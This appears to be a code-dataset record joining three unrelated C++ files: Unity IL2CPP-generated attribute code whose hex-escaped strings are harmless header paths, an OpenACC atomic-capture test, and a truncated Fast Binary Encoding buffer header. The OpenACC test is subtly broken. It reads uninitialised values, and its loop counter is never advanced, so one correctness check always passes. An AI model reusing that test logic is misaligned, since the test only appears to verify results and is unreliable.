NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x52\x65\x6D\x6F\x76\x65\x53\x63\x61\x6C\x65\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[3];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x52\x65\x6D\x6F\x76\x65\x53\x63\x61\x6C\x65\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[4];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimationScriptPlayable_tC1413FB51680271522811045B1BAA555B8F01C6B_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 * tmp = (MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 *)cache->attributes[0];
MovedFromAttribute__ctor_mA4B2632CE3004A3E0EA8E1241736518320806568(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x45\x78\x70\x65\x72\x69\x6D\x65\x6E\x74\x61\x6C\x2E\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x73"), NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[1];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x53\x63\x72\x69\x70\x74\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[4];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x47\x72\x61\x70\x68\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[5];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x53\x63\x72\x69\x70\x74\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
}
static void AnimationStream_t32D9239CBAA66CE867094B820035B2121D7E2714_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x53\x74\x72\x65\x61\x6D\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x53\x74\x72\x65\x61\x6D\x2E\x68"), NULL);
}
{
MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 * tmp = (MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 *)cache->attributes[3];
MovedFromAttribute__ctor_mA4B2632CE3004A3E0EA8E1241736518320806568(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x45\x78\x70\x65\x72\x69\x6D\x65\x6E\x74\x61\x6C\x2E\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x73"), NULL);
}
}
static void AnimatorControllerPlayable_tEABD56FA5A36BD337DA6E049FCB4F1D521DA17A4_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[2];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x52\x75\x6E\x74\x69\x6D\x65\x41\x6E\x69\x6D\x61\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[4];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[5];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[6];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x49\x6E\x66\x6F\x2E\x68"), NULL);
}
}
IL2CPP_EXTERN_C const CustomAttributesCacheGenerator g_UnityEngine_AnimationModule_AttributeGenerators[];
const CustomAttributesCacheGenerator g_UnityEngine_AnimationModule_AttributeGenerators[48] =
{
SharedBetweenAnimatorsAttribute_t1F94A6AF21AC0F90F38FFEDE964054F34A117279_CustomAttributesCacheGenerator,
StateMachineBehaviour_tBEDE439261DEB4C7334646339BC6F1E7958F095F_CustomAttributesCacheGenerator,
AnimationState_tDB7088046A65ABCEC66B45147693CA0AD803A3AD_CustomAttributesCacheGenerator,
AnimationEvent_tC15CA47BE450896AF876FFA75D7A8E22C2D286AF_CustomAttributesCacheGenerator,
AnimationClip_tD9BFD73D43793BA608D5C0B46BE29EB59E40D178_CustomAttributesCacheGenerator,
AnimatorClipInfo_t758011D6F2B4C04893FCD364DAA936C801FBC610_CustomAttributesCacheGenerator,
AnimatorStateInfo_t052E146D2DB1EC155950ECA45734BF57134258AA_CustomAttributesCacheGenerator,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator,
Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator,
AnimatorOverrideController_t4630AA9761965F735AEB26B9A92D210D6338B2DA_CustomAttributesCacheGenerator,
Avatar_t1A1B32874530475986346E2EED62F9DDEE8C45C6_CustomAttributesCacheGenerator,
SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator,
HumanLimit_t8F488DD21062BE1259B0F4C77E4EB24FB931E8D8_CustomAttributesCacheGenerator,
HumanBone_tFEE7CD9B6E62BBB95CC4A6F1AA7FC7A26541D62D_CustomAttributesCacheGenerator,
Motion_t3EAEF01D52B05F10A21CC9B54A35C8F3F6BA3A67_CustomAttributesCacheGenerator,
RuntimeAnimatorController_t6F70D5BE51CCBA99132F444EFFA41439DFE71BAB_CustomAttributesCacheGenerator,
NotKeyableAttribute_tE0C94B5FF990C6B4BB118486BCA35CCDA91AA905_CustomAttributesCacheGenerator,
AnimationClipPlayable_t6386488B0C0300A21A352B4C17B9E6D5D38DF953_CustomAttributesCacheGenerator,
AnimationHumanStream_t98A25119C1A24795BA152F54CF9F0673EEDF1C3F_CustomAttributesCacheGenerator,
AnimationLayerMixerPlayable_tF647DD9BCA6E0F49367A5F13AAE0D5B093A91880_CustomAttributesCacheGenerator,
AnimationMixerPlayable_t7C6D407FE0D55712B07081F8114CFA347F124741_CustomAttributesCacheGenerator,
AnimationMotionXToDeltaPlayable_t6E21B629D4689F5E3CFCFACA0B31411082773076_CustomAttributesCacheGenerator,
AnimationOffsetPlayable_tBB8333A8E35A23D8FAA2D34E35FF02BD53FF9941_CustomAttributesCacheGenerator,
AnimationPlayableOutput_t14570F3E63619E52ABB0B0306D4F4AAA6225DE17_CustomAttributesCacheGenerator,
AnimationPosePlayable_t455DFF8AB153FC8930BD1B79342EC791033662B9_CustomAttributesCacheGenerator,
AnimationRemoveScalePlayable_t774D428669D5CF715E9A7E80E52A619AECC80429_CustomAttributesCacheGenerator,
AnimationScriptPlayable_tC1413FB51680271522811045B1BAA555B8F01C6B_CustomAttributesCacheGenerator,
AnimationStream_t32D9239CBAA66CE867094B820035B2121D7E2714_CustomAttributesCacheGenerator,
AnimatorControllerPlayable_tEABD56FA5A36BD337DA6E049FCB4F1D521DA17A4_CustomAttributesCacheGenerator,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_FullPath,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_UserName,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_Name,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_HasFixedDuration,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_Duration,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_NormalizedTime,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_AnyState,
AnimatorTransitionInfo_t7D0BAD3D274C055F1FC7ACE0F3A195CA3C9026A0_CustomAttributesCacheGenerator_m_TransitionType,
SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_name,
SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_parentName,
SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_position,
SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_rotation,
SkeletonBone_t0AD95EAD0BE7D2EC13B2C7505225D340CB456A9E_CustomAttributesCacheGenerator_scale,
HumanBone_tFEE7CD9B6E62BBB95CC4A6F1AA7FC7A26541D62D_CustomAttributesCacheGenerator_limit,
Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator_Animator_get_hasBoundPlayables_m1ADEF28BC77A4C8DBC707DA02A1B72E00AC0C88A,
Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator_Animator_SetTriggerString_m38F66A49276BCED56B89BB6AF8A36183BE4285F0,
Animator_t9DD1D43680A61D65A3C98C6EFF559709DC9CE149_CustomAttributesCacheGenerator_Animator_ResetTriggerString_m6FC21A6B7732A31338EE22E78F3D6220903EDBB2,
AnimatorOverrideController_t4630AA9761965F735AEB26B9A92D210D6338B2DA_CustomAttributesCacheGenerator_AnimatorOverrideController_OnInvalidateOverrideController_m579571520B7C607B6983D4973EBAE982EAC9AA40,
UnityEngine_AnimationModule_CustomAttributesCacheGenerator,
};
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void RuntimeCompatibilityAttribute_set_WrapNonExceptionThrows_m8562196F90F3EBCEC23B5708EE0332842883C490_inline (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * __this, bool ___value0, const RuntimeMethod* method)
{
{
bool L_0 = ___value0;
__this->set_m_wrapNonExceptionThrows_0(L_0);
return;
}
}
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void AttributeUsageAttribute_set_AllowMultiple_mF412CDAFFE16D056721EF81A1EC04ACE63612055_inline (AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * __this, bool ___value0, const RuntimeMethod* method)
{
{
bool L_0 = ___value0;
__this->set_m_allowMultiple_1(L_0);
return;
}
}
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_Name_mC85A9B1CE4650D43D0E73B503753864CA4952A9C_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, String_t* ___value0, const RuntimeMethod* method)
{
{
String_t* L_0 = ___value0;
__this->set_U3CNameU3Ek__BackingField_0(L_0);
return;
}
}
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_HasExplicitThis_mB44D70CDD0D14884A4FA84776C3091C742FAFE44_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, bool ___value0, const RuntimeMethod* method)
{
{
bool L_0 = ___value0;
__this->set_U3CHasExplicitThisU3Ek__BackingField_4(L_0);
return;
}
}
|
[
"78406888+Craana@users.noreply.github.com"
] |
78406888+Craana@users.noreply.github.com
|
a22216064f7d918e51b6df1c311a8f9ada2c1cf1
|
893ee3fe9622a3a5d3f8b4e95f49ed4e76678d44
|
/Tests/atomic_structured_assign_bitand_equals.cpp
|
59ccd3b7740db1836365ff3174fa2f20d537baef
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause"
] |
permissive
|
OpenACCUserGroup/OpenACCV-V
|
1789ddeed924353cd4a2e2ce7f9dd20b54a56f18
|
45355f784ddc12684915276c5fd7d1dd4b2d2052
|
refs/heads/master
| 2023-08-09T10:24:11.259348
| 2023-07-27T16:19:45
| 2023-07-27T16:19:45
| 94,044,279
| 23
| 13
|
BSD-3-Clause
| 2023-08-21T18:32:11
| 2017-06-12T01:43:05
|
Fortran
|
UTF-8
|
C++
| false
| false
| 2,937
|
cpp
|
#include "acc_testsuite.h"
bool is_possible(int* a, int* b, int length, int prev){
if (length == 0){
return true;
}
int *passed_a = new int[(length - 1)];
int *passed_b = new int[(length - 1)];
for (int x = 0; x < length; ++x){
if (b[x] == prev){
for (int y = 0; y < x; ++y){
passed_a[y] = a[y];
passed_b[y] = b[y];
}
for (int y = x + 1; y < length; ++y){
passed_a[y - 1] = a[y];
passed_b[y - 1] = b[y];
}
if (is_possible(passed_a, passed_b, length - 1, prev & a[x])){
delete[] passed_a;
delete[] passed_b;
return true;
}
}
}
delete[] passed_a;
delete[] passed_b;
return false;
}
#ifndef T1
//T1:atomic,construct-independent,V:2.0-2.7
int test1(){
int err = 0;
srand(SEED);
int *a = new int[n];
int *b = new int[n];
int *totals = new int[(n/10 + 1)];
int *totals_comparison = new int[(n/10 + 1)];
int *temp_a = new int[10];
int *temp_b = new int[10];
int temp_iterator;
int ab_iterator;
for (int x = 0; x < n; ++x){
for (int y = 0; y < 8; ++y){
if (rand()/(real_t)(RAND_MAX) < .933){ //.933 gets close to a 50/50 distribution for a collescence of 10 values
a[x] += 1<<y;
}
}
}
for (int x = 0; x < n/10 + 1; ++x){
for (int y = 0; y < 8; ++y){
totals[x] = 1<<y;
totals_comparison[x] = 1<<y;
}
}
for (int x = 0; x < n; ++x){
b[x] = 0;
}
#pragma acc data copyin(a[0:n]) copy(totals[0:n/10 + 1]) copyout(b[0:n])
{
#pragma acc parallel
{
#pragma acc loop
for (int x = 0; x < n; ++x){
#pragma acc atomic capture
{
b[x] = totals[x/10];
totals[x/10] &= a[x];
}
}
}
}
for (int x = 0; x < n; ++x){
totals_comparison[x/10] &= a[x];
}
for (int x = 0; x < (n/10 + 1); ++x){
if (totals_comparison[x] != totals[x]){
err += 1;
break;
}
}
for (int x = 0; x < n; x = x + 10){
temp_iterator = 0;
for (ab_iterator = x; ab_iterator < n && ab_iterator < x + 10; ab_iterator+= 1){
temp_a[temp_iterator] = a[ab_iterator];
temp_b[temp_iterator] = b[ab_iterator];
}
if (!is_possible(temp_a, temp_b, temp_iterator, 1)){
err += 1;
}
}
return err;
}
#endif
int main(){
int failcode = 0;
int failed;
#ifndef T1
failed = 0;
for (int x = 0; x < NUM_TEST_CALLS; ++x){
failed = failed + test1();
}
if (failed != 0){
failcode = failcode + (1 << 0);
}
#endif
return failcode;
}
|
[
"chrismun@r0login1.localdomain.hpc.udel.edu"
] |
chrismun@r0login1.localdomain.hpc.udel.edu
|
dcab8c4f110a05d911bab4920905f0713a1caa55
|
44abd282e7e877b09c0e85ac945f8fd32203895e
|
/proto/fbe.h
|
810b350ce560d9ce8482fa020aa95933784819b8
|
[
"MIT"
] |
permissive
|
lxlyh/FastBinaryEncoding
|
0f8d864051183b2ae63e22ae9df1416e2432098a
|
869135ddd8c9cdcdceeb1cb9bc5871a2c7bfac43
|
refs/heads/master
| 2023-05-26T23:52:06.672591
| 2021-06-04T14:04:22
| 2021-06-04T14:04:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 27,817
|
h
|
// Automatically generated by the Fast Binary Encoding compiler, do not modify!
// https://github.com/chronoxor/FastBinaryEncoding
// Source: FBE
// Version: 1.6.0.0
#pragma once
#if defined(__clang__)
#pragma clang system_header
#elif defined(__GNUC__)
#pragma GCC system_header
#elif defined(_MSC_VER)
#pragma system_header
#endif
#include <array>
#include <bitset>
#include <cassert>
#include <cmath>
#include <cstring>
#include <cctype>
#include <future>
#include <iomanip>
#include <limits>
#include <list>
#include <map>
#include <memory>
#include <mutex>
#include <optional>
#include <set>
#include <sstream>
#include <stdexcept>
#include <string>
#include <tuple>
#include <type_traits>
#include <unordered_map>
#include <vector>
#if defined(unix) || defined(__unix) || defined(__unix__) || defined(__APPLE__)
#include <time.h>
#include <uuid/uuid.h>
#undef HOST_NOT_FOUND
#elif defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#undef DELETE
#undef ERROR
#undef HOST_NOT_FOUND
#undef Yield
#undef min
#undef max
#undef uuid_t
#endif
namespace FBE {
//! Bytes buffer type
/*!
Represents bytes buffer which is a lightweight wrapper around std::vector<uint8_t>
with similar interface.
*/
class buffer_t
{
public:
typedef std::vector<uint8_t>::iterator iterator;
typedef std::vector<uint8_t>::const_iterator const_iterator;
typedef std::vector<uint8_t>::reverse_iterator reverse_iterator;
typedef std::vector<uint8_t>::const_reverse_iterator const_reverse_iterator;
buffer_t() = default;
buffer_t(size_t capacity) { reserve(capacity); }
buffer_t(const std::string& str) { assign(str); }
buffer_t(size_t size, uint8_t value) { assign(size, value); }
buffer_t(const uint8_t* data, size_t size) { assign(data, size); }
buffer_t(const std::vector<uint8_t>& other) : _data(other) {}
buffer_t(std::vector<uint8_t>&& other) : _data(std::move(other)) {}
buffer_t(const buffer_t& other) = default;
buffer_t(buffer_t&& other) = default;
~buffer_t() = default;
buffer_t& operator=(const std::string& str) { assign(str); return *this; }
buffer_t& operator=(const std::vector<uint8_t>& other) { _data = other; return *this; }
buffer_t& operator=(std::vector<uint8_t>&& other) { _data = std::move(other); return *this; }
buffer_t& operator=(const buffer_t& other) = default;
buffer_t& operator=(buffer_t&& other) = default;
uint8_t& operator[](size_t index) { return _data[index]; }
const uint8_t& operator[](size_t index) const { return _data[index]; }
bool empty() const { return _data.empty(); }
size_t capacity() const { return _data.capacity(); }
size_t size() const { return _data.size(); }
size_t max_size() const { return _data.max_size(); }
std::vector<uint8_t>& buffer() noexcept { return _data; }
const std::vector<uint8_t>& buffer() const noexcept { return _data; }
uint8_t* data() noexcept { return _data.data(); }
const uint8_t* data() const noexcept { return _data.data(); }
uint8_t& at(size_t index) { return _data.at(index); }
const uint8_t& at(size_t index) const { return _data.at(index); }
uint8_t& front() { return _data.front(); }
const uint8_t& front() const { return _data.front(); }
uint8_t& back() { return _data.back(); }
const uint8_t& back() const { return _data.back(); }
void reserve(size_t capacity) { _data.reserve(capacity); }
void resize(size_t size, uint8_t value = 0) { _data.resize(size, value); }
void shrink_to_fit() { _data.shrink_to_fit(); }
void assign(const std::string& str) { assign((const uint8_t*)str.c_str(), str.size()); }
void assign(const std::vector<uint8_t>& vec) { assign(vec.begin(), vec.end()); }
void assign(size_t size, uint8_t value) { _data.assign(size, value); }
void assign(const uint8_t* data, size_t size) { _data.assign(data, data + size); }
template <class InputIterator>
void assign(InputIterator first, InputIterator last) { _data.assign(first, last); }
iterator insert(const_iterator position, uint8_t value) { return _data.insert(position, value); }
iterator insert(const_iterator position, const std::string& str) { return insert(position, (const uint8_t*)str.c_str(), str.size()); }
iterator insert(const_iterator position, const std::vector<uint8_t>& vec) { return insert(position, vec.begin(), vec.end()); }
iterator insert(const_iterator position, size_t size, uint8_t value) { return _data.insert(position, size, value); }
iterator insert(const_iterator position, const uint8_t* data, size_t size) { return _data.insert(position, data, data + size); }
template <class InputIterator>
iterator insert(const_iterator position, InputIterator first, InputIterator last) { return _data.insert(position, first, last); }
iterator erase(const_iterator position) { return _data.erase(position); }
iterator erase(const_iterator first, const_iterator last) { return _data.erase(first, last); }
void clear() noexcept { _data.clear(); }
void push_back(uint8_t value) { _data.push_back(value); }
void pop_back() { _data.pop_back(); }
template <class... Args>
iterator emplace(const_iterator position, Args&&... args) { return _data.emplace(position, args...); }
template <class... Args>
void emplace_back(Args&&... args) { _data.emplace_back(args...); }
iterator begin() noexcept { return _data.begin(); }
const_iterator begin() const noexcept { return _data.begin(); }
const_iterator cbegin() const noexcept { return _data.cbegin(); }
reverse_iterator rbegin() noexcept { return _data.rbegin(); }
const_reverse_iterator rbegin() const noexcept { return _data.rbegin(); }
const_reverse_iterator crbegin() const noexcept { return _data.crbegin(); }
iterator end() noexcept { return _data.end(); }
const_iterator end() const noexcept { return _data.end(); }
const_iterator cend() const noexcept { return _data.cend(); }
reverse_iterator rend() noexcept { return _data.rend(); }
const_reverse_iterator rend() const noexcept { return _data.rend(); }
const_reverse_iterator crend() const noexcept { return _data.crend(); }
//! Get the string equivalent from the bytes buffer
std::string string() const { return std::string(_data.begin(), _data.end()); }
